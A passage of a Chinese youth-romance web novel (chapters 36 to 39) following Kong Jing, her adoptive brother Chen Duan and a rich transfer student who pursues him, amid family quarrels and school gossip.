但是瞥一眼放在柜面上的礼物盒,因为是陈端给的,所以她不可能不拿。 “等等!” 可当她伸手去拿,Lily忽然把她叫住。 “拍个照,交付物懂不懂?”她喊戴望雅把礼物盒提着,指挥她要笑,不笑不行,照片拍来是给陈端看的。 戴望雅心里把Lily祖宗十八代问候了个遍,但是还要对着镜头笑。 听见“咔嚓”一声,戴望雅瞬间变脸,提着东西就走了。 Lily趴在柜台上一边把照片发给陈端,一边抬眼往窗外看去,“哟,还有司机接送呢~~这么窄的巷子也不怕把车给刮了。显摆什么啊!” Lily发给陈端的照片一张是P过的,一张是原图。 P过的那张戴望雅是个孔雀脑袋,旁边还加了一行字:就这? 陈端收到照片只扫了一眼,没懂Lily是什么恶趣味,转手就把那张原图发给了孔净。 意思很简单:给了。 至于收到孔净那条【照片拍得不错】,他为什么要回【我也觉得】,原因只有他们两个才清楚。 因为孔净晚上就要回学校上晚自习,阿禾明天也要上课,她在孔净家吃过午饭之后没多久就打算直接回邻市的职高。 孔净载阿禾去车站,一路上阿禾坐在后座一手紧紧环着孔净的腰,另一手不停在手机屏幕上打字,并且不时笑出声。 不用问也知道是在和新鲜出炉的男友热聊。 孔净把车停在车棚,陪阿禾进去买票候车。 售票窗口前面排着长队,有个穿深色衣服的黄毛假装左瞟右瞟,然后走着走着就插到了一个阿嬷前面站着。 阿嬷刚开始还没反应过来,在后面好心提醒,“你挡我路了哦。” 黄毛抖着腿抬头望向天花板,装没听到。 阿嬷一下就急了,后面的人也骂黄毛没规矩。 黄毛往地上啐一口,转头很凶地看一眼阿嬷和后面排队的人,然后才缩着背往队伍最后面走。 孔净和阿禾正好走进车站大厅,黄毛远远看见她,短暂怔愣之后忽然咧嘴笑了下,露出两排参差不齐的黄牙。 “先去买点水和吃的。”孔净拉阿禾去便利店。 阿禾也看到那个黄毛,她充满疑惑,“那个不是李哲的马仔?你们怎么认识?” 孔净一怔,才想起Lily说过李哲那伙人是职高的,但没想到那么巧,职高那么多,会和阿禾是同校。 “不算认识。”孔净在便利店门口拿了个购物篮,走在货架中间一边往篮子里丢零食一边问阿禾,“你知道他们?” “怎么不知道。”阿禾说,“职高那么乱,李哲那帮人却是烂,打架赌博什么的对他们来说只是家常便饭,他们、他们……” 阿禾扭头看了下身后确定没人,然后才拉着孔净的胳膊小声说:“他们好像会吸那种东西。” “什么东西?” “就那种啊。”阿禾用口型对孔净说了个字。 孔净的心直往下沉,没想到是真的烂,而且烂到这种程度。 “没事,遇到他们绕着走就好了,他们也怕被找上,所以只要不跟他们来往、不被缠上就好了。”阿禾看孔净表情不对,还以为她是在害怕,于是笑着安慰。 孔净讷讷地点头,提着购物篮去前面结账。 再回到售票窗口,那个黄毛已经不在了。 孔净出门时把书包也背上了,她本打算送走阿禾之后,直接去学校。但是走出客运站大厅,午后的阳光照在身上忽然感觉冷。 她像个没头苍蝇,取了车就急急忙忙往网吧赶。 Lily正趴在前台做新美甲,余光瞥见一个蓝白身影急匆匆掀开空调帘进来,抬眼看去,“诶孔净?姐姐正想找你呢!过来过来!” Lily想找孔净问问陈端和上午那只雌孔雀是什么情况,孔净却没在听,她扭头往网吧大厅扫一圈,“陈端在吗?” “不在。上午来过一趟,把东西放下就走了。”Lily看她着急,赶紧旋上甲油盖子,“出什么事了?” 孔净被问得一懵,定了定神,“没,什么事也没有。” 可是她的心乱跳个不停,阿禾说的没错,她是害怕。 “Lily姐,”孔净抿了下唇,虽然私下探听的行为很不好,但她还是问了,“李哲他们还是经常来这边上网吗?” “我想想……好像,比起暑假没那么频了。” 孔净正要松一口气,又听见Lily说:“不过陈端最近倒是没怎么来了。高三了,打算好好学习了呗?” 孔净愣住,光是上周陈端几乎每天都逃课,甚至有两天一节课都没上过。 “他没来这儿,去哪儿了?” “我从哪里知道?他是你弟,又不是我弟!”Lily把一只手放进烘干机,哼哼道,“说不定去女朋友家了。” 她把话题转到戴望雅身上,说她一身公主病,以为世界都围着她转,男的必须对她俯首称臣,女的必须自甘当她仆人。 孔净笑笑,没过一会儿就说要回学校。 Lily还没吐槽够,一边继续说一边送孔净出去。 孔净把自行车骑出曲折的窄巷,停在马路边,才想起自己已经有了手机这种可以及时通讯的便捷工具。 打给陈端,大概过了十来秒那头才接。 “喂?” 旁边马路上车子汹涌如潮水,各种喇叭声、车轮声不断,孔净却只听见对面那道略显沉哑的磁性嗓音。 “你在哪儿?”孔净问。 “家。” “哦。” 孔净攥着手机的力道一下变小了,一辆大货车呼啸而过,尖锐的喇叭声像是要刺破人的天灵盖。 陈端听到后,反过来问她:“在哪?” 孔净用他的话回道,“家。” 听筒里传来他的轻啧声,孔净笑了下,说:“很快就到了。” 孔净挂了电话,确实有点慌乱,临时改变路线把车骑回石材厂。 推开房间门,陈端倚靠在床头,午后的阳光散漫照在他身上,看起来有点懒,姿态是放松的。 陈端见她抱着书包,脸被晒得有点红,还微微喘着气,蹙眉问道:“怎么了?” 孔净摇摇头,一路上沉浮不定没有着落的心忽然一下找到了锚点,她往前走两步,站在陈端的床边,垂眼看着他,轻声说:“你别忘了,一年后一起去北方城市上学、看雪。” 陈端正想问怎么突然提起这个,抬眼,对上孔净清澈到显得有点哀伤的眼睛,他一怔。 “没忘。” 他坐起身,垂在身侧的修长手掌动了动,还是抬起来,温凉指节轻轻圈住孔净手腕。 孔净目光从他骨感手掌上移,缓慢掠过他被咖色疤痕覆盖的手臂。 她嘴唇轻轻抖动着,声音很轻,“你要好好的,我们都要好好的。” 陈端指腹摩挲着孔净手腕上的皮肤,虽然不知道这个话头因为什么而起,但他没问,也没法理智地问。 面对这样的孔净,他第一时间能想到的,只有服从。 “好。” 第37章 和女生搅在一起总比去外…… 旁边房间断续传来争吵声, 孔净刚才在下面看见孔大勇的摩托车,她问陈端:“爸在那边?” 孔净把书包放他床上,“我过去看看。” 门板不隔音,尽管厂子里的机器运转声那么嘈杂, 还是掩不住从屋里传来的哭泣和争执。 引起争吵的原因不外乎李贤梅嫌孔大勇整天不见人影, 就算在家也只知道喝酒吹牛皮, 而孔大勇又反过来烦李贤梅小肚鸡肠,一点小事抓着不放,回了家还要看她脸色。 孔净敲了两下门, 门没锁,她直接把门打开, 里面的吵闹瞬间戛然而止。 孔大勇还是万年不变的姿势,坐在矮板凳上夹一根烟屁股, 李贤梅侧对着坐在床边抬手用力抹了一把脸, 转头问孔净:“你来干什么?该去学校去学校!” 话没说完, 嗓子被呜咽声堵住。 屋子里沉闷的烟酒味从门缝涌出来,孔净才刚来就被熏得想咳嗽。 “爸,你别跟妈吵了。”她说。 然而孔大勇听见这句就像一串被点燃的炮仗,立即从板凳上蹿起来。 “你还敢管我?我送你去读书就是让你来管我的?!” 尽管孔净已经长大, 已经深刻地认识到爸爸不仅不是老大, 还只是个只会虚张声势的窝里横, 但孔大勇气势很足,接近两百斤的块头鼓起眼睛用力指着一个人的时候,样子还是让人觉得狰狞。 这时,身后响起脚步声,孔净在让人透不过气的烟酒味中嗅到那股清淡的皂香。 少年颀长宽阔的身影站在她身后,他冷眼看向屋里的男人, “孔叔,你喝多了,别吓到孔净和梅姨。” 孔大勇暴跳如雷,“好好好!趁老子不回来,你们三个背着拧成一股绳,都来跟老子对到干!” 他声音很大,粗短手指在半空中绕一圈,轮着把孔净、陈端和李贤梅都指了个遍。 然后把燃到头的烟屁股往地上一摔,说着“这个家容不下老子”之类的话,怒气冲冲地走了。 其实就是回来晃一圈,找点存在感,然后再找个理由溜掉而已。 戏码看多了,连他在什么节点会说什么台词都能倒背如流。 孔净让陈端先去那边房间,她进屋开了窗,拿扫把清理地上的烟头和杂物。 脚踩到一个会滚动的东西,她弯腰仔细看一眼,竟然是一支劣质口红,旁边一张排版和印刷都很下乘的卡片,上面写着“XX娱乐会所欢迎您”。 因为这些插曲,孔净和陈端到学校时已经挺晚了。 孔净匆匆回教室座位做作业,从昨天下午放学到现在她几乎没怎么看书。 眼看着还有十来分钟就打铃了,戴望雅没打一声招呼就走进教室,还坐在了林语珂的位置上。 林语珂也是奇怪,见她来了自动站起来,说要去上厕所就从后门出去了。 “姐姐,你和陈端都没来给我过生日,我好伤心。”戴望雅趴在桌上,脸对着孔净这边。 她央求道:“晚自习下课我请你们吃夜宵好不好?” 孔净有点麻了,思绪被书上的题目占据,根本腾不出空去理会她。 戴望雅用手指轻轻扣着孔净胳膊,可怜兮兮的模样。 孔净写完一道题,然后才回她:“我放学之后要回家,你问陈端吧,看他要不要去。” “可是姐姐不去,陈端也不会去啊。”戴望雅说。 “怎么会。” 孔净低头在草稿纸上演算,后来戴望雅是什么时候离开的都不知道。 课间,齐淼转头问林语珂,“听说你昨天被请去给小公主过生日了?不是仇富吗?怎么一下就归顺了?” “谁仇富?一直都是你瞎说好吗?”林语珂不满齐淼的用词,“而且什么归顺,你讲话好搞笑。” “不就是?听说被请去参加生日会的人都会得到一个大礼包,哇,从来没听说寿星给祝寿的人送礼。”齐淼好奇,“大礼包里都有什么呀?说说看嘛!” “也……没什么大不了,就是一些文具用品。” 林语珂转了下手里的钢笔,齐淼眼尖一下瞄到钢笔尾端印着的品牌logo。 “我去,进口的诶!这款去年是不是还进了文具大赏?大手笔哦!很好写吗?手感怎么样?” “还好啦。” 林语珂抿唇笑了下,把钢笔递给齐淼,让她试了几下。 前后排女生也凑过来,轮流试过之后每人都夸赞几句。 林语珂被大家围着,转过头看见孔净还在埋头整理笔记,完全的置身事外。 第三节课,老师让大家自习。孔净手里的笔出墨不均匀,她旋开笔帽抽出笔芯才发现是墨快没了。 林语珂碰下她手肘,“我这里有很多新笔,给你两支?” 她说着就从桌肚里掏出一个崭新的大号笔袋,拉开拉链,露出里面各种款式各种造型的签字笔,而且大多是进口日货,想必这就是戴望雅给每个去参加她生日会的人准备的回礼。 “不用啦,我上次买的还没用完。”孔净从笔袋里找出一根笔芯装上。 林语珂扁了扁嘴,“哦”一声,把笔袋塞进桌肚,没再说什么。 放学之后,孔净正在收东西,余光瞥见背着书包站在过道上的林语珂,她转头问:“你今天不去赶公交吗?” 以往,每次放学林语珂都冲在最前面,她有点晕车,要是不跑快点去占位置就惨了。 “啊?哦,”林语珂拨了拨斜刘海,“反正赶也赶不上,十次有八次都白跑。” 她说:“我跟你一起吧,正好有两道题想问你。” 去车棚的路上,孔净见林语珂只顾着低头看路,不由得笑问:“不是说有题要问我?” 林语珂愣了下,她说:“明早再问你好了,感觉挺麻烦的。” 孔净觉得林语珂今天有点怪,但怪在哪里又说不上来。 她把自行车推出来,快到校门口,林语珂忽然说:“我有点口渴,听说旁边那条街新开了一家港式奶茶店,我们去买来尝尝好不好?” 孔净低头看手表,林语珂抱着她胳膊就往前走,“放心,耽误不了多少时间!” 林语珂所说的那家港式奶茶店不在校门对面那条街,出校门之后需要绕着围墙往右边走。 而围墙旁密密匝匝种着几排高大的银杏树,白天可以看见许多银杏叶边缘泛黄,风一吹,像无数把镶着金边的青绿小扇子在阳光下层叠起舞。 但是到了晚上,这边路灯不明亮,银杏林遮住头顶星光,听说很多校园情侣路过这里会推推搡搡着钻进林子,过了很久再出来时脸上都会泛着红潮。 刚从校门拐向右边人行道没多久,林语珂忽然轻“啊”了一声,她惊讶道:“你看那里,他们在干什么呢……” 孔净心里想着事情,慢半拍抬眼,前面不远处林荫稠密,两个身影侧对着他们面对面站在阴影里,身形娇小的那个明显是女生,因为光线再暗也能从剪影分辨出她穿的是裙子,而她对面那个颀长身影从骨架和身形来分析肯定是男生无疑。 “要不不去那家了吧,就在对面买也一样。” 孔净说着就想转个方向穿过马路。 林语珂拉住她,“嘘,看看嘛!” 非礼勿视是真的,但说不好奇肯定是假的。 孔净视线左右乱飘。 离着差不多七八十米的距离,旁边马路上又不时有车辆驶过,杂音覆盖,因此听不见那对男生和女生在说什么。 只能看见女生伸手扯着男生的胳膊,男生似乎把她甩开了,但下一秒,女生忽然踮起脚尖环住男生脖子,同时仰起了脸。 “哇去……” 林语珂双手捂住嘴小声惊呼。 孔净眨眼,吃惊的同时总觉得那个高点的身形有点熟悉。 一束车灯闪过,短暂打在那两个身影身上,女生头上的蝴蝶造型发卡反射出的光耀眼又刺目。 林语珂瞪大眼睛,“戴望雅?……所以,她搂着的那个男生是……?” 她转过脸看孔净。 孔净还记得她跟阿禾说过的话,会有一点点不习惯。 但也只是一点点而已。 她心想,和女生搅在一起总比去外面和那群烂人鬼混的好。 “不知道,太远了。”孔净又看了眼手表,跟林语珂说,“太晚了,我要回家了,改天再陪你喝奶茶。” “马上就到了,干嘛这么着急回去啊……” 林语珂在后面叫道。 “当然着急啦,我们是高三党诶!拜拜!” 孔净推着车穿过马路,骑着就走了。 马路两侧的路灯要隔三四十米才有一个,淡橘色光线从高处垂下,像一个个漂亮的圆锥体。 孔净骑着车从圆锥体底部穿过,剪影朦胧,像是穿过一个个有着华丽外表的噩梦。 光线暗淡的银杏林里,戴望雅被一道推力搡到地上,她不可置信地睁大眼睛,也以为这是梦。 但身上结实传来的痛感分明告诉她这是现实。 “陈端!”她大喊。 站在她对面的男生身影被更深的树影笼罩,他歪头扫了扫刚才被戴望雅碰过的脖子,好像那里被污染了一样。 “别再玩这种把戏,离远一点。” 他语气凌冽,丝毫不掩饰情绪上的厌恶。 “你是想说离孔净远一点吧?!你那么怕我把那些发给过你的照片也发给她看!我从来没见过哪个弟弟怕姐姐怕到这种程度!她连你交女朋友也要管?连和哪个女生来往都要过问?!” 戴望雅今晚以照片为诱饵约陈端出来,最主要还是想试探他们姐弟的关系,尽管清安高中的人都习以为常,但她总觉得他们好得有点太过了。 戴望雅从地上爬起来,然后还未站稳,身前的淡影忽然靠近。 一阵清冽的皂香随之萦绕鼻尖,戴望雅一愣,如果不是紧接着耳边紧接着传来的充满恶意的清爽男音,她会以为陈端改变主意。 “如果不想我把那些照片打印出来贴满学校布告栏,你最好闭嘴。” 戴望雅一震,但她觉得只是玩笑,“这么下流的事,你怎么可能……?你不是这种人——” “我是哪种人?” 世界上大多数人总是以貌取人,他应该是哪种人? “下流?东西是你主动发的,你发的时候不觉得,现在又说下流。” 陈端的声音充满轻蔑和嘲讽,和平日里众人口口相传的清冷校草形象南辕北辙。 要不是确定站在自己面前的人就是他,戴望雅一定会怀疑是有人假扮。 戴望雅呆立在原地,“你不会的。你就是想吓我。好了我知道了,我没有其他意思,真的只是想和姐姐做朋友,如果你不喜欢,我再也不去烦她了……” 对面的人没有连听她继续讲完的耐心都没有,直接走出银杏林。 深深浅浅的树影在身上一晃而过,越接近人行道,对面街铺的招牌灯就越明亮,等到少年清拔的身形完全将那片暗昧的林地甩在身后,他俊美而无暇的面孔也在夜色中一览无余。 手机震动几下,舍友催他回去,说今晚舍管要检查寝室有没有香烟、碟片之类的违禁品。 他一扫而过,没回,指尖点几下屏幕,发了条新信息出去:【到家了?】 走过人行道时,余光瞥见一个女生身影,他没在意,却听见女生喊了他一声,“陈、陈端……” 陈端偏过头,林语珂有些局促地冲他挤出一个笑容,“真的是你啊?我刚才还跟孔净说那人看着有点像你……” 话没说完,她看见陈端好看的眉眼皱了起来,一瞬间充满戾气,“孔净来过?” “对,刚才,我们本来打算去买奶茶,但是看见你和望雅在那边……” 陈端眉头皱得更紧了。 林语珂被他直视着感觉很不自在,她慌忙摆摆手,“我先走了。”—— 作者有话说:国庆节快乐~~~[烟花] 第38章 幼稚 孔净开了灯进房间, 把今晚要看的书从包里拿出来,顺便看一眼手机。 瞥见那条新消息,她立即回复:【到了。】 陈端收到这条时,正和舍友们一起站在宿舍楼下, 楼上所有寝室门大开, 舍管在一间一间搜查。 这次是突击检查, 教导主任是领头人,他挺着大肚子站在前面正在训话,让他们这帮住校高三男生把马脚都藏好, 高一高二的他睁一只眼闭一只眼也就算了,对待高三生绝对不会手软。 训得正起劲, 忽然看见静默的人群里有手机屏幕光亮起,再定睛一看, 那个低头看手机的人不是陈端是谁?! 教导主任阴阳道:“有些人, 明明有个那么好学每次都考年级第一的姐姐, 自己却一点不自觉!天天拖人家后腿!是我都不好意思让别人知道是一家!他倒好!不以为耻,反以为荣!临到高三了,这么重要的节点,还招来女生为他转校, 自己是爽了, 女生天天影响姐姐学习!!这种害群之马稍微有点自尊心就应该退学!转去职高!” 戴望雅是托了关系才能在高三转进清安高中, 有钱能使鬼推磨。 她那么高调,不仅学生们知道她放话要让陈端主动追求他,就连老师们也有所耳闻。 教导主任掌握着学生们的第一手情报,当然也知道戴望雅曲线救国隔三差五去找孔净的事。 他私下找过戴望雅,让她多把心思花在学习上。戴望雅却告诉他,“可是老师我家里已经帮我办好出国手续了, 不用学也能比那些被老师看中的好学生上更好的学校。” 教导主任被气个半死,戴望雅又说:“老师你不能叫我退学,不然我爸爸答应捐的音乐教室就没办法兑现了,校长先生会找你谈话的。” 教导主任动不了戴望雅,但他认为这一切归根到底都是陈端惹的祸。 偏偏他在前面慷慨激昂地说一大通,陈端站在人群最末,仍旧垂眼看着手机,几根长指在屏幕上点来点去。 “你这个样子谁敢信你是孔净的弟弟?!说出去不要丢她的脸!”教导主任放弃阴阳,直接点他的名。 话里话外中心思想总结下来无非三个字:你不配。 陈端视线在屏幕上定格两秒,旁边同班男生小动作捅了下他胳膊,小声劝说:“端哥,收着点,给主任一点面子。” 他“嗯”一声,长指删掉已经编辑好的那句,转而敲下三个字,【早点睡。】 点击发送,然后才把手机收回兜里。 教导主任吼着他的名字,勒令他现在立刻马上去跑操场五千米。 陈端见怪不怪,转身就往操场那边走。 整个校园只有宿舍楼这边还亮着灯,偌大的操场漆黑一片,没人监督,陈端一圈圈跑着。 他越跑越快,越跑越快,连风声也隐匿,只能听见自己急促的呼吸声,和紊乱的心跳声。 某个瞬间,感觉到兜里的手机震了一下,他停下来,急喘着点开屏幕。 汗水滴落,视线有点花,但他还是看清了孔净发来的那个字,【好。】 隔天,陈端被罚跑操场的事又成了某些好事者的谈资,并且由于教导主任提到了“招惹女生转校”这几个字,大家传着传着就变成陈端被罚是因为维护戴望雅。 前排齐淼是出了名的校园八卦传播机,因此孔净也听说了这个版本。 几个女生都在猜难道才这么几天,戴望雅就成了? 一直没开腔的林语珂忽然“呵呵”两声。 她昨晚目睹了戴望雅霸王硬上弓又被陈端暴力推开的全过程,信陈端为了戴望雅去跑操场,不如信她高考全满分被跪求上清华。 齐淼听见声音,转头,再次旧话重提,“你这是什么语气?真的哦,虽然你一直不承认,但是我真的怀疑你暗恋陈端!但是!你又跑去参加了戴望雅的生日会,难道说你是在她身边卧底?” 林语珂:“……分析能力这么强,不如以后去当警察。” 齐淼:“我说对了?!” 林语珂:“你的智商……和你同班真的很丢脸!” 齐淼后知后觉,又和林语珂掐起来。孔净难免受波及,她没像之前那样被动加入,而是放下笔起身去了趟厕所。 中午,陈端来教室外等孔净一起去食堂。 孔净往他身后扫去,陈端问她:“看什么?” “没什么。”孔净耸耸肩。 陈端去窗口排队,孔净在窗边占了两个位置。 注意到有视线一直朝着这边,她转头,看见本不该出现在这里的戴望雅被18班的几个女生簇拥着坐在斜对面的长条桌边。 孔净随着戴望雅的目光下移,看向自己手里的手机,有些莫名。 一道清冷身影隔绝视线,孔净仰头,陈端把两个餐盘放在桌上。 他不经意掠过孔净的手机屏,顿了顿,“和谁聊?” “孟书宇”三个字直白落在聊天框顶端,孔净以为他没看见,把屏幕对着他晃了下,“孟学长。他说空了把他之前用过的复习资料整理一下,发给我。” 陈端长指握住筷子从自己的餐盘里夹了一颗狮子头给孔净,温淡视线慢慢上移,落在孔净脸上。 “他不是在上海,怎么发?” “他说网盘里存了一些,剩下的等国庆节回来拿给我。”孔净低头专心吃饭。 “他属狗的?”陈端忽然笑问。 孔净才刚拿到手机没两天,孟书宇闻着味就把人加上了。 明知陈端这话带玩笑意味,但孔净还是下意识皱了下眉。 “孟学长又没恶意,干嘛这样说他。” 如果没记错的话,这是孔净第三次因为孟书宇对他冷脸。 陈端长指一松,竹筷落在不锈钢餐盘上发出两声细响。 溅起的菜汤有一滴落在孔净的手背上。 陈端顿了一下。 孔净没再继续吃,垂眼看着手背上的污渍。 一双冷白手掌随即伸过来,圈住她的手腕,用纸巾帮她擦手。 孔净抬眼看向对面的人,“不吃了?” 陈端没说话,眼皮撩起,静黑眸子和她对视。 斜对面,戴望雅一边听着旁边女生们叽叽嚓嚓的讲话声,一边注意着陈端和孔净。 食堂里的饭菜像猪食,她根本吃不下。 由于陈端是背对着自己的,她只能看见他们交握在一起的手。 她在心里冷笑,有弟弟会在公共场合这么肆无忌惮地帮姐姐擦手吗?孔净又不是没手,自己不能擦? 她这么想着,忽然发现孔净抬眼看向这边。 戴望雅随即展开笑靥,对她扬了扬,并用口型叫她,“姐姐。” “不吃就算了。”孔净看见戴望雅旁边空出一个座位,端着餐盘就过去了。 因为她这个举动愣住的不止是陈端,还有戴望雅和她身边剩下的18班女生。 但是女生们很快对她表示欢迎,反而是戴望雅等孔净在自己身边坐下了才反应过来。 “姐姐,你怎么不跟陈端一起了?” 戴望雅一边问,一边抬眼,看见陈端手臂搭在椅背上转过身朝向这边,她挑了挑眉。 意思很明显,你看见了,我可没有招惹她,是她主动过来找我的呢。 陈端眯了下眼,根本没看戴望雅,冷眼扫过不远处的孔净,随后端起根本没怎么动过的餐盘,直接往餐具回收处那边去了。 “刚才看你一直在看我,所以就过来了。”孔净也注意到陈端的动向,但她表情很自然,继续拿起筷子。 戴望雅俏皮地歪了下头,“姐姐过来,陈端不会生气吗?” “他为什么要生气?”孔净表示疑问。 戴望雅捧着脸认真观察孔净的表情,然后灿烂一笑,“没什么。姐姐你好有意思!我们可以做朋友好不好?” 她祈求道:“不要拒绝我嘛!之前是我不好,不应该经常去你们班打扰你学习!以后我保证绝对不会再犯!姐姐我们加个微信好不好?” “好啊。” 孔净放下筷子从兜里拿出手机,爽快得让戴望雅都愣了一下。 “我扫你?”孔净打开微信。 “嗯。”戴望雅慢半拍把二维码展示给孔净,眼睛不由得一直盯着她手上的玫瑰金手机。 “怎么了吗?” 孔净发送完好友申请之后,也看了看自己的手机。 旁边女生早就认出来了,“哇,最新款诶!太羡慕了!这个颜色好火!我在网上见过,没想到近看更好看,有种磨砂质感。” “你爸妈对你好好!这么贵的东西说买就买了。我老早就跟我阿姆说想换手机,我阿姆让我不要肖想!呼,气死!” “气什么啊?是你自己不争气啦!如果你成绩跟孔净一样好,你阿姆绝对追着要给你买!” “这样吗?现在学还来不来得及?” “笑死……” 女生们嘻嘻哈哈,闹成一团。 被她们的热烈气氛感染,孔净已经到嘴边的那句“不是爸妈买的”蓦然咽下了。 她忽然觉得很没意思,跑来和戴望雅坐一起的行为也很幼稚。 然而就算孔净不说,戴望雅也知道手机是陈端买给她的。 不然她也不会一直盯着看。 从食堂出来之后,她一个人去了教学楼后身,靠着墙壁在屏幕上霹雳吧啦打字。 大概过了十来分钟,才有个穿蓝白校服的女生迟疑地站在外墙拐角处朝这边探头探脑。 “林语珂!”戴望雅怒气冲冲,朝女生低喊一声。 林语珂两手揣在兜里,慢慢走近,“怎么了?” “都怪你!说什么陈端专门去商场给我买手机当生日礼物!你眼瞎吗?” 没人知道她去网吧拿到那个礼物盒之后有多兴奋,但等她回到车上把盒子拆开,里面却是一个廉价又丑陋的八音盒! 开始有多兴奋,后来就有多气愤,她当时就把那个丑东西从车窗扔了出去! 林语珂今早也看见孔净的新手机了,她努努嘴,“谁知道陈端会对孔净那么大方。正常昨天是你生日,他应该买给你才对啊。我怎么知道!” 她看见戴望雅垂在口袋外面的手机挂绳,风凉道:“再说你又不缺手机,你的也是最新款啊。只不过不是陈端给你买的而已……” “你有病啊!”戴望雅气疯了,“吵死了!不会说话就把嘴巴闭上!” “……我回教室了。”林语珂也气愤,不就是昨天收了她一个装满笔的笔袋,真把自己当公主了? 看看你现在这个样子,陈端看得上你才怪! “一看脑袋就不正常,就算能出国留学又怎么样?还不是花钱买的。” “追陈端就追陈端,一直盯着人家姐姐干什么?还要我专门叫孔净出去看你们卿卿我我,神经病吧……” “孔净和你又不是——” 林语珂一路吐槽走回教室,站在后门,脑子里忽然闪现很多个孔净和陈端在一起时的画面。 她惊恐地睁大眼睛。 第39章 一场拉锯 孔净和陈端中午算得上不欢而散, 下午放学,她转头看向窗外,一片流动的蓝白校服里人脸模糊,没有意想中的那个人。 林语珂已经和后排女生结伴冲去食堂了。 孔净索性又看了几页书, 才慢吞吞走去校外的餐馆。 回来时把拎着的打包袋递给林语珂。 “奶茶?!”林语珂受宠若惊。 “昨天晚上不是说想喝这家新开的港式奶茶。” “是啊。”林语珂咬着吸管视线有点飘, 她转头小声跟孔净说, “昨晚你走那么急,都没看到后来的发展。就是那两个抱在一起的人啊……” 孔净把书翻得哗哗响,一张夹在中间的卷子掉到地上, 她弯腰去捡。 在看不见的角度她用力抿了下唇。 重新坐直之后她问:“后来怎么样?” “后来——”林语珂忽然瞥见她手上的卷子,右上角的分数很显眼, 又是单科年级第一。 她顿了下,已经到口的话忽然变了样, “……后来他们一直抱着, 好像、好像还亲上了, 不过光线太暗我没看清楚,也可能看错就是了。” 孔净静静听着,脸上没有一点表情。 转身把窗子关上,感觉凉风不再那么无孔不入往毛孔里钻了, 她应了声, “哦。” 然后低头把卷子夹好, 继续看书。 林语珂看着孔净毫无波澜的侧脸,轻轻皱了下眉。 她忽然觉得自己的想法实在太荒谬,也太蠢了。 孔净根本不像会做出这种事情的人。 陈端也不像。 那这么蠢的想法是从哪里来的? 被戴望雅传染? 想到这里,林语珂的眉头皱得更紧了,只会围着男生转的恋爱脑果然不是什么好东西。 周二陈端没来找孔净。 周三也是。 由于陈端所在的18班在二楼,孔净所在的7班位于一楼, 又是一个住校一个走读,如果存心不想碰面就真的很难见到。 周四,孔净在食堂碰到18班的男生,对方还是甜甜地叫她姐姐,并且趁陈端不在,变本加厉地展现自己的魅力。 孔净被他逗得笑出声,余光一闪,一个没穿校服的少年单手拿着手机慢慢走进食堂大门,偶尔抬眼朝四周看一眼,他不像是来吃饭,更像是来找人的。 紧接着孔净感觉放在兜里的手机震了一下,然后少年视线锁定她,四目相对。 中间不断有端着餐盘的蓝白身影走过,他们的视线时断时续,旁边的男生又说了句什么,孔净偏过脸对男生笑了下。 男生莫名感觉背后凉凉,转身一看,“诶?端哥你回来啦?” 孔净听出端倪,“他又逃课了?” “对啊,端哥昨天一早就翻墙出去了,晚上幸亏我们打配合瞒过了舍管,不过按照他这段时间的逃课频率迟早要被叫家长……”男生见孔净脸上的笑容消失,顿感不妙,“哈哈,姐姐你千万别说是我说的啊。我我先走了!” 孔净再转过脸,陈端已经快走到近前了。 他看见她脸上表情,轻蹙一下眉。 “怎么又不高兴?” 刚才还和别人有说有笑,看见他就急速冷脸。 “没有啊。” 孔净端着餐盘去找位置,陈端走在她身后,偶尔伸手帮她挡一下只顾说笑不顾看路的人。 孔净看了一圈,远近都没有空位,心里有点烦,她忽然转身,“你从哪儿回来的?” “外——” “别又跟我说什么外面。”孔净喊他名字,脸上带着愠怒。 陈端垂眼看她,“还说没有不高兴。” 他伸手要帮孔净拿餐盘,孔净没松手,“别跟我嬉皮笑脸。” 陈端脸色清冷,绝对和嬉皮笑脸没有一点关系。 只是糊弄人的态度过于明显,是个傻子都能感觉到。 旁边人群来来往往,清安高中没有哪个不认识这对姐弟的,他们之间气氛颇为微妙,大家经过时都有意无意用余光偷瞄。 “给我留点面子。” 陈端忽然扯唇笑了下,指尖托着餐盘往自己这边拿的力道稍微重了些,语气却是软的,像在撒娇。 孔净视线落在他脸上,两个酒窝很有蛊惑性。 陈端到底是吃了皮相的红利,而他很少对孔净用这招,因为少用,所以每次效果都立竿见影。 孔净抓着餐盘另一端的手没忍住,慢慢松开了。 两人往楼上走,二楼食堂价格要贵点,但是用餐环境要好点,人也相对少很多。 楼道旁边就有个空着的类似卡座的双人座位,陈端把餐盘放在桌上,清瘦的下巴朝座位上一抬,孔净没看他,径直坐下,拿起筷子就开始吃。 陈端转身去附近窗口,过了会儿,端着一份拉面回来,随带还帮孔净买了瓶饮料。 像往常一样,他把饮料瓶盖拧松了然后放在孔净右手边。 孔净视线顿了顿,见他挑起面条就往嘴边送,忍了几次,最终还是出声道:“小心烫,会得食道疾病。” “嗯。” 陈端不着痕迹地勾了下唇。 接下来,他按照孔净的要求,十分乖巧地每次挑起面条,要等晾凉几秒才慢慢送到嘴边。 优雅得过分,也慢得过分。 “……” 孔净一下想到他刚被孔大勇领回家时,吃面条是一根一根吃的,那天早上为了等他,她差点因为迟到而被老师罚站! “什么怪毛病。” 孔净低声吐槽。 陈端冷白眼皮略微一挑,静淡黑眸笑意浅浮,“还不都是你惯的。” “跟我有什么关系?” 孔净才不背这口锅。 陈端只是笑,并不辩解。 适才剑拔弩张的气氛似乎一下瓦解了。 孔净暗自在心里叹口气。 其实明知道他是故意示弱,但还是清醒着中了圈套。 孔净先吃完,她伸手拿起饮料喝了两口,温凉的甜饮在口腔里停留两秒然后才咽下去。 甜食让人产生多巴胺,短暂使人心情愉快,抛却先前的坏情绪。 但,毕竟是糖衣炮弹。 孔净又不是小孩子,事情不解决,哪里是听他说两句好话、买几瓶甜饮就能轻易糊弄过去的。 等陈端吃完把筷子平放在汤碗上,孔净没急着起身把餐盘端去回收处,她看着陈端,“这周剩下两天,能待在学校好好上课吗?” 陈端敛起笑意,似乎在思考。 孔净火气一下窜上来,“你——” “能。” 清爽的男声一下截断孔净的话头,他身体微微前倾,搭在桌沿的冷白手掌越过桌面,修长指节轻轻圈住孔净手腕,温凉指腹在她腕骨上轻抚两下。 这是一个习惯性的动作,带着强烈的安抚、保护意味。 孔净已经记不起这个习惯是从什么时候养成。 她抿了下唇,脑海里忽然闪现那晚在校门外的银杏林里看到的画面,被他圈着手腕一下变得僵硬。 “干嘛这样,”孔净甩开他。 陈端不设防,手背磕到桌面,桌上的汤碗左右晃动,冷却的汤汁有洒出来的趋势。 